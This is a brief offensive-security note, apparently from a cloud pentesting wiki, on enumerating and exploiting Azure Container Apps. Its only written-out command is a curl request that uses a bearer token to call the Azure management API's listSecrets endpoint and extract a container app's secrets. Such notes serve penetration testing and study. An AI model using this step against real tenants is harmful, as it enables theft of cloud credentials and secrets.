Container apps
Identify container apps
[[resource_enumeration]]
Enumerate
General info (Also shows environment variables!)
Exploit
Secrets
or with curlarmtoken="accesstoken"
curl -X POST "https://management.azure.com/subscriptions/<TENTANTID>/resourceGroups/<GROUP>/providers/Microsoft.App/containerApps/<CONTAINERNAME>/listSecrets?api-version=2024-03-01" \
-H "Authorization: Bearer $armtoken" \
-H "Content-Type: application/json" \
-H "Content-Length: 0"
Execute command
After execution: [[managed_identity_and_apps]]